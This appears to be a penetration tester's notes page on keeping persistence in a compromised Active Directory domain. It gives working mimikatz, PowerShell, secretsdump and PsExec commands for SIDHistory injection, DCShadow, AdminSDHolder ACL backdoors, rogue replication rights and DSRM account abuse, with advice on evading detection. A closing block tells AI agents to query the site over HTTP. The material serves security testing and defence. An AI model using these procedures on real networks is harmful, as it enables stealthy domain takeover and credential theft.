# Post Exploitation - Persistence ### Kerberos "golden" / "silver" tickets ### SID History The access to securable resources, that is resources that define a `security descriptor`, is based on the `security principal`'s (user or machine account and security group notably) `SID`, eventual extra `SIDs`, and `security group SIDs`. Indeed, these `SIDs` are compared to the access rights defined in the `Access Control Entries (ACEs)` of the accessed object's `Discretionary Access Control List (DACL)`. Adding a privileged `SID`, such as the one of the built-in domain Administrator account (`SID` `S-1-5-21--500`), in the `SID History` of a non privileged user can thus be leveraged to maintain persistence in the domain through a seemingly standard user. In order to avoid detection, a non built-in user (`RID` > 1000) member of a privileged group (`Enterprise Admins`, `Domain Admins`, `Administrators`, etc.) may be preferred. The persistence will be operational until the impersonated user is deleted or removed from the privileged group(s). Under normal circumstances, `SIDs` will only be added (automatically) to the `SIDHistory` attribute of a security principal during domain migration and cannot be manually added (but can be manually removed). This restriction can be bypassed and `SIDs` added to a `security principal`'s `SIDHistory` attribute with `mimikatz` by either: * executing code locally on a Domain Controller to patch its `NTDS` service * registering a rogue Domain Controller to inject and replicate arbitrary modifications (attack known as `DCShadow`) The following command can be used to validate the `SIDHistory` attribute modification: ``` Get-ADObject -Filter "(SamAccountName -eq '')" -Properties SIDHistory ``` **SID History modification through local patch of the NTDS service** This technique of modification of the `SIDHistory` attribute requires privileges granted to the `Domain Admins` group and must be conducted on a Domain Controller as the `Windows NT Directory Services (NTDS)` service must be locally patched. While the `SID History` modification will persist, the `NTDS` service patch will not be persistent across reboot of the Domain Controller. `mimikatz`'s `sid` module can be used to add `SIDs` in the `SIDHistory` attribute of any users of the current domain (the following commands must be executed directly on a Domain Controller): ``` # If necessary, elevate privileges to "NT AUTHORITY\SYSTEM" and enables the "SeDebugPrivilege" privilege. mimikatz # token::elevate mimikatz # privilege::debug # Patches the ntds service. # Only the first patch ("Patch 1/2 ntds service patched") is required for the attack (the second patch may rise an error, such as "ERROR kull_m_patch_genericProcessOrServiceFromBuild", with out incidence). mimikatz # sid::patch # Adds the given SID in the SIDHistory attribute of the specified user. # For example, S-1-5-21--500 for built-in domain Administrator account. mimikatz # sid::add /sam: /new:-519 | EXTRA_SID> ``` **SID History modification through DCShadow** The restriction on the modification of the `SIDHistory` attribute can be also bypassed through a `DCShadow` attack to arbitrarily set an account `SIDHistory` attribute. For more details on the `DCShadow` attack, refer to the "DCShadow ACL" section of this note. **This technique will override any `SID(s)` currently present in the `security principal`'s `SIDHistory` attribute.** ``` # Two mimikatz interpreters (executed on a machine member of the domain) are required for the DCShadow attack: # One running as "NT AUTHORITY\SYSTEM", the second as a domain user with enough privileges to conducted the DCShadow attack (usually a "Domain Admins"). # The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered). # First interpreter (executed as "NT AUTHORITY\SYSTEM"). mimikatz # lsadump::dcshadow /object: /attribute:SIDHistory /value:-519 | SID> # Second interpreter (executed as the privileged domain account). mimikatz # lsadump::dcshadow /push ``` ### PrimaryGroupID The `PrimaryGroupID` attribute of an user or machine account contains the `Relative IDentifier (RID)` of a domain group and gives an implicit membership to the specified group. The `PrimaryGroupID` attribute is used to support integration of `UNIX POSIX` clients but is not otherwise specifically used in `Active Directory`. The group membership granted by the `PrimaryGroupID` attribute does not appear in the account's `MemberOf` nor in the group's `Members` `LDAP` attributes. It will however be included in `constructed attributes` "constructed" through Microsoft APIs (such as group membership returned by the `Active Directory` PowerShell module, `MMC`'s snappins, the `net` utility, etc.). It can thus be used, to a certain extent, to dissimulate membership of a standard account to a privileged group. In `kerberos` authentication, the `PrimaryGroupID` attribute of an account populate the account's `kerberos` tickets `_KERB_VALIDATION_INFO`'s `PrimaryGroupId` and `GroupIds` fields (in the tickets' `Privilege Attribute Certificate (PAC)`). Depending on the account type, the account's `PrimaryGroupID` attribute takes a different default value: | Account type | PrimaryGroupID | Corresponding group | | -------------------------------------------- | -------------- | ------------------------------------------------------------------------------------------------------------------------ | | User account | `513` |

Domain Users

constant: DOMAIN\_GROUP\_RID\_USERS

| | `Guest` account | `514` | `Domain Guests` | | Machine account | `515` |

Domain Computers

constant: DOMAIN\_GROUP\_RID\_COMPUTERS

| | Domain Controllers machine account | `516` |

Domain Controllers

constant: DOMAIN\_GROUP\_RID\_CONTROLLERS

| | Read Only Domain Controllers machine account | `521` |

Read-only Domain Controllers

constant: DOMAIN\_GROUP\_RID\_READONLY\_CONTROLLERS

| Under normal circumstances, the account must be a member of the group specified in its `PrimaryGroupID` attribute. An error indeed occurs whenever trying to set the `PrimaryGroupID` attribute of an account to the `RID` of a group the account is a not a member of (error: "The specified user account is a not a member of the specified group account"). A similar error occurs whenever attempting to remove an account from the group set in its `PrimaryGroupID` (error: "The primary group cannot be removed. Set another group as primary if you want to remove this one".) The restriction of membership can be bypassed through a `DCShadow` attack to arbitrarily set an account `PrimaryGroupID` attribute. For more details on the `DCShadow` attack, refer to the "DCShadow ACL" section of this note. ``` # Two mimikatz interpreters (executed on a machine member of the domain) are required for the DCShadow attack: # One running as "NT AUTHORITY\SYSTEM", the second as a domain user with enough privileges to conducted the DCShadow attack (usually a "Domain Admins"). # The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered). # First interpreter (executed as "NT AUTHORITY\SYSTEM"). mimikatz # lsadump::dcshadow /object: /attribute:PrimaryGroupID /value:<512 | 519 | GROUP_RID> # Second interpreter (executed as the privileged domain account). mimikatz # lsadump::dcshadow /push ``` The following command can be used to validate the `PrimaryGroupID` attribute modification: ``` Get-ADObject -Filter "(SamAccountName -eq '')" -Properties PrimaryGroupID ``` ### AdminSDHolder ACL *For a general overview of `Access Control Lists (ACL)`, refer to the `[ActiveDirectory] ACL exploiting` note.* A number of predefined privileged built-in accounts and groups (including their members) are protected by the `SDProp` mechanism. `SDProp` is an automated process that ensure that the `ACL` defined on the aforementioned protected security principals match the `AdminSDHolder` object's `ACL` (and restore the expected `ACL` in case of mismatch). In addition to verifying and eventually restoring `ACL`, the `SDProp` mechanism also disable `ACL` inheritance and set the `adminCount` attribute of the protected principals to `0x1`. Note that users and groups removed from the predefined privileged groups will no longer be protected by the `SDProp` mechanism but will keep their `adminCount` attribute set to `0x1` and `ACL` inheritance disabled. The `SDProp` process runs every 60 minutes by default. This frequency of execution can be modified using the `HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\AdminSDProtectFrequency` registry key on the domain's PDC Emulator. Valid values range from 60 to 7200 seconds. As of `Windows Server 2008`, the following privileged accounts and groups are protected by the `SDProp` mechanism: * `Account Operators` * `Administrator` * `Administrators` * `Backup Operators` * `Domain Admins` * `Domain Controllers` * `Enterprise Admins` * `Krbtgt` * `Print Operators` * `Domain Controllers` * `Replicator` * `Schema Admins` * `Server Operators` **Any `ACE` set directly on a protected account or group will not persist the `SDProp` process. Only the modification of the `AdminSDHolder` object's `ACL` may thus be used as a persistence mechanism on privileged principals.** The domain's `AdminSDHolder` object is a `Container` located at `CN=AdminSDHolder,CN=System,`. By default, only the `Domain Admins`, `Enterprise Admins`, and `Administrators` domain groups are granted the right to modify the `ACL` of the `AdminSDHolder` object: ``` IdentityReference : \Domain Admins ActiveDirectoryRights : GenericAll AccessControlType : Allow ObjectType : 00000000-0000-0000-0000-000000000000 InheritanceFlags : None IdentityReference : \Enterprise Admins ActiveDirectoryRights : GenericAll AccessControlType : Allow ObjectType : 00000000-0000-0000-0000-000000000000 InheritanceFlags : ContainerInherit IdentityReference : BUILTIN\Administrators ActiveDirectoryRights : WriteProperty, ExtendedRight, WriteDacl, WriteOwner, [...] AccessControlType : Allow ObjectType : 00000000-0000-0000-0000-000000000000 InheritanceFlags : ContainerInherit ``` The following PowerShell script can be used to manually trigger the `SDProp` mechanism (without interfering with the normal execution schedule): ``` # An arbitrary domain can be specified using: $DomainName = "". $DomainName =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name # The task name associated with the SDProp mechanism vary depending on the domain's PDC Emulator operating system. # For <= Windows Server 2008: $Task = 'FixUpInheritance' # For > Windows Server 2008: $Task = 'RunProtectAdminGroupsTask' $Task = 'RunProtectAdminGroupsTask' $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('domain',$DomainName) $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) $RootDSE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($DomainObject.PdcRoleOwner.Name)/RootDSE") $RootDSE.UsePropertyCache = $false $RootDSE.Put($Task, "1") $RootDSE.SetInfo() ``` A number of `ACE` may be used to maintain persistence by creating a control path through `AdminSDHolder` object's `ACL`: * `GenericAll` * `WriteOwner` * `WriteDacl` * `WriteProperty` / `GenericWrite` to all properties or property that can be used to take control of the object (`Member` attribute for groups, `Script-Path` for users, etc.) * `AllExtendedRights` or `ExtendedRight` that grant control over the object (such as `ForceChangePassword`) For more details on the aforementioned `ACE`, and techniques and tools to leverage them, refer to the `[ActiveDirectory] ACL exploiting` note (section `Users and groups permissions exploitation`). The `ACL` modification can be done with `mmc.exe`'s `Active Directory Users and Computers (ADUC)` graphical snap-in or in PowerShell using the `PowerView`'s `Add-DomainObjectAcl` and `ActiveDirectory` module's `Get-Acl` / `Set-Acl` cmdlets. ``` # Procedure to the modify AdminSDHolder object's ACL using ADUC. # ADUC cannot be used to set more fine grained rights on the AdminSDHolder object (such as ExtendedRight's ForceChangePassword or WriteProperty to the Member attribute). mmc.exe -> File -> Add/Remove Snap-in... (Ctrl + M) -> Active Directory Users and Computers -> -> System -> right click AdminSDHolder -> Properties -> Security -> Advanced -> Add -> Select a principal -> Type: Allow -> Applies to: This object only -> Permissions: FullControl / Write all properties / Modify permissions / Modify owner # Automated modification using PowerView's Add-DomainObjectAcl to grant the GenericAll and ExtendedRight's ForceChangePassword rights. # The WriteMembers option is documented as WriteProperty to the Member attribute but is non functional. Add-DomainObjectAcl -Verbose -TargetIdentity "CN=AdminSDHolder,CN=System," -PrincipalIdentity -Rights # Manual modification using PowerShell ActiveDirectory module, that can be used to set specific ACE. $AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System," $User = '' $UserSID = [System.Security.Principal.SecurityIdentifier] $(Get-ADUser $User).SID $AdminSDHolderACL = Get-ACL -Path $AdminSDHolder # Adds the ACE GenericAll. $ACE_FullControl = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( $UserSID, [System.DirectoryServices.ActiveDirectoryRights]::GenericAll, [System.Security.AccessControl.AccessControlType]::Allow, [DirectoryServices.ActiveDirectorySecurityInheritance]::None ) $AdminSDHolderACL.AddAccessRule($ACE_FullControl) # Adds the ACE WriteProperty to the Member attribute. $ACE_WriteMember = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( $UserSID, [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty, [System.Security.AccessControl.AccessControlType]::Allow, "bf9679c0-0de6-11d0-a285-00aa003049e2", [DirectoryServices.ActiveDirectorySecurityInheritance]::None ) $AdminSDHolderACL.AddAccessRule($ACE_WriteMember) # Adds the ACE ExtendedRight's User-Force-Change-Password. $ACE_ResetPassword = New-Object System.DirectoryServices.ActiveDirectoryAccessRule( $UserSID, [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight, [System.Security.AccessControl.AccessControlType]::Allow, "00299570-246d-11d0-a768-00aa006e0529", [DirectoryServices.ActiveDirectorySecurityInheritance]::None ) $AdminSDHolderACL.AddAccessRule($ACE_ResetPassword) Set-Acl -Path $AdminSDHolder -AclObject $AdminSDHolderACL ``` The `PowerView`'s `Get-DomainObjectAcl` and `ActiveDirectory` PowerShell module's `Get-Acl` cmdlets can be used to validate the modification: ``` # Uses PowerView to enumerate the ACL of the AdminSDHolder object. $UserSID = Get-DomainUser -Identity | Select-Object -ExpandProperty objectsid Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System," -ResolveGUIDs | ? {$_.securityidentifier -eq $UserSID} # Uses the PowerShell ActiveDirectory module to enumerate the ACL of the AdminSDHolder object. # To enumerate ACL from a different domain (the AD drive to the current domain should automatically be mapped whenever importing the ActiveDirectory PowerShell module): New-PSDrive -Name -PSProvider ActiveDirectory -Server '' -root "//RootDSE/" [-Credential ] Get-Acl ":\CN=AdminSDHolder,CN=System," | Select-Object -ExpandProperty Access | ? IdentityReference -Match "" ``` ### DRSUAPI replication operations (DCSync attack) rights *Refer to the `[ActiveDirectory] ntds.dit dumping` note for tools and techniques to conduct replication operations (DCSync attack).* **Minimal ACEs** **Machine account with SERVER\_TRUST\_ACCOUNT** A machine account that has its `UserAccountControl` attribute with the `SERVER_TRUST_ACCOUNT` (`0x2000` / `8192`) bit set is able to perform replication operations (`DCSync` attack) implicitly. The machine account will indeed be considered as a Domain Controller and be able to replicate AD objects with out the `Ds-Replication-Get-Changes` and `Ds-Replication-Get-Changes-All` extended rights. The `DS-Install-Replica` extended right, on the domain root object, is required to set an account `UserAccountControl` attribute's `SERVER_TRUST_ACCOUNT` bit. This right is by default granted to the `Domain Admins`, `Administrators`, and `Enterprise Admins` groups. **Granting the `DS-Install-Replica` extended right to an otherwise unprivileged account may thus also be used as a mean of persistence.** Whenever an machine account `UserAccountControl` attribute's `SERVER_TRUST_ACCOUNT` bit is set, the `primaryGroupId` of the account will be set to `516` (`DOMAIN_GROUP_RID_CONTROLLERS`) and the account added to the group referenced by the previous `primaryGroupId` value. While the `SERVER_TRUST_ACCOUNT` bit is set, the `primaryGroupId` of the machine account will not be modifiable (error: "Cannot change the primary group ID of a domain controller account"). As the machine account will considered as a Domain Controller, no Windows `Security` events `Event 4662: An operation was performed on an object` will be generated upon replication operations. For maximum stealthiness, it is possible to overpass-the-hash to mimic legitimate Domain Controller authentication. Doing so will generate Windows `Security` events `Event 4662: An account was successfully logged on` with the `Kerberos` (instead of `NTLM`) authentication package. Refer to the `[ActiveDirectory] Kerberos tickets usage` note for more information on the overpass-the-hash technique. The PowerShell `ActiveDirectory` module's `New-ADComputer` and `Set-ADComputer` can be used to create a new machine account and set its `UserAccountControl` attribute. ``` # Creates a new machine account that will have the given password. # The specified password must meet the password policy of the domain. The account will be created but disabled if the password does not meet the password policy. New-ADComputer "" -AccountPassword (ConvertTo-SecureString -AsPlainText -Force "") # Set the specified machine account UserAccountControl attribute's SERVER_TRUST_ACCOUNT bit. Set-ADComputer "" -Replace @{"UserAccountControl" = 0x2000} # Retrives the specified machine account UserAccountControl attribute. Get-ADComputer "" -Properties UserAccountControl ``` ### DCShadow **DCShadow minimal ACE** The following access rights are sufficient to conduct a `DCShadow` attack (without the need of being part of a privileged group such as `Domain Admins`): * `DS-Install-Replica` (right's GUID: `9923a32a-3607-11d2-b9be-0000f87a36b2`) * `DS-Replication-Manage-Topology` (right's GUID: `1131f6ac-9c07-11d1-f79f-00c04fc2dcd2`) * `DS-Replication-Synchronize` (right's GUID: `1131f6ab-9c07-11d1-f79f-00c04fc2dcd2`) **DCShadow realisation** Make sure that the local Firewall policy allows inbound connection on the dynamic TCP ports range. ``` # Two mimikatz interpreters are required for the DCShadow attack (as implemented by mimikatz). # The following mimikatz commands must be executed sequentially (the /push must be done after the operation as been entered). # The first interpreter must be executed as "NT AUTHORITY\SYSTEM" and will be used to define the modification. # PsExec can be used to elevate from local Administrator to "NT AUTHORITY\SYSTEM": PsExec64.exe -accepteula -s -i cmd.exe mimikatz # lsadump::dcshadow /object: /attribute:PrimaryGroupID /value=<512 | 519 | GROUP_RID> # The second interpreter must be executed as a domain user with enough privileges to conducted the DCShadow attack (by default a member of the "Domain Admins" group). # runas can be used to execute a process under the identity of the specified account for remote access only: runas /NetOnly /user:\ cmd.exe mimikatz # lsadump::dcshadow /push ``` ### Directory Services Restore Mode account The `Directory Services Restore Mode (DSRM)` account correspond to the local built-in `Administrator` (username language dependent name, `SID` `S-1-5-21--500`) of a Domain Controller. The `DRSM` account password is specific to each Domain Controller and is setup during the Domain Controller promulgation. The `DRSM` accounts are local to each Domain Controller and have no link with the built-in `Administrator` (`SID` `S-1-5-21--500`) of the domain. Note that since `Windows Server 2008` (`KB961320`), the `DSRM` account password can be one-time synchronized with a domain account (further synchronization are however not automated and must be done manually). The usage of the `DSRM` account is controlled by the `DsrmAdminLogonBehavior` registry key: | Value | Description | | ----------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | |

0x0

Undefined

|

The DSRM account can only be used if the Domain Controller is booted in DSRM.

bcdedit /set safeboot dsrepair
shutdown /r /f /t 5

| | `0x1` | The `DSRM` account can login on the Domain Controller if the `Active Directory Domain Service (AD DS)` of the Domain Controller are (locally) stopped. | | `0x2` | The `DSRM` account can login with out any restriction. | By default, the `DsrmAdminLogonBehavior` key is undefined (and thus the `DSRM` account can only be used to connect to the Domain Controller if it has been restarted in `DSRM`). To maintain persistence after a compromise of an Active Directory domain, the local built-in `Administrator` password of a Domain Controller can be retrieved (or set) and the `DsrmAdminLogonBehavior` of the Domain Controller set to `0x2`. The `DSRM` account will be usable over the network even if the Domain Controller is not started in `DSRM` and persistence maintained until its password is renewed. In this scenario, the `DSRM` account can notably be used to remotely connect to the Domain Controller or conduct replication operations (`DCSync` attack). The following commands can be used to retrieve and set the value of the `DsrmAdminLogonBehavior` registry key (on a Domain Controller): ``` # Retrieves the current value of the DsrmAdminLogonBehavior registry key. reg query "HKLM\System\CurrentControlSet\Control\Lsa\" /v "DsrmAdminLogonBehavior" Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -Name "DsrmAdminLogonBehavior" # Creates and sets the value of the DsrmAdminLogonBehavior registry key to the specified value. reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "DsrmAdminLogonBehavior" /t "REG_DWORD" /d "<2 | VALUE>" New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -PropertyType DWORD -Value <2 | VALUE> # Overrides the value of the DsrmAdminLogonBehavior registry key to the specified value (if the key already exists). reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v "DsrmAdminLogonBehavior" /t "REG_DWORD" /d "<2 | VALUE>" Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value "<2 | VALUE>" ``` The following techniques can be used to retrieve or set the `DRSM` account password: ``` # Remote extraction of the DRSM account (full dump of the local accounts stored in the SAM registry hive). # For more information and techniques on how to retrieve the local Administrator NTLM hash from the SAM database, refer to the "[Windows] Post Exploitation" note. secretsdump.py '/[:]@' # While not recommended from an opsec standpoint, the DRSM account password can also be reset (with out requiring knowledge of the current password). ntdsutil > set dsrm password # "null" if the commands are executed locally on the Domain Controller of which the DRSM account password should be updated, its hostname otherwise. > reset password on server > > ``` If the `DsrmAdminLogonBehavior` key of the targeted Domain Controller is set to `0x2`, remote code execution or replication operations can be conducted using the `DRSM` account: ``` # Refer to the "[ActiveDirectory] ntds.dit dumping" for more techniques to extract the secrets from the ntds.dit database. secretsdump.py '/:@' secretsdump.py -hashes <:DSRM_NTLM_HASH> '/@' # The DRSM account can be used through any authentication types (network logon, remote interactive logon, etc.). # Refer to the "[Windows] Lateral movements" note for more techniques to remotely execute code on the targeted Domain Controller (through PsExec-like tools, WMI, WinRM, RDP, etc.). PsExec.exe -accepteula \\ -u "/" -p "" -s ``` ### Kerberos delegations ### Certificates (`User-Principal-Name` or `Alt-Security-Identities`) ### Skeleton key ### Domain Controller local persistence *** ### References --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://notes.qazeer.io/active-directory/post_exploitation-persistence.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.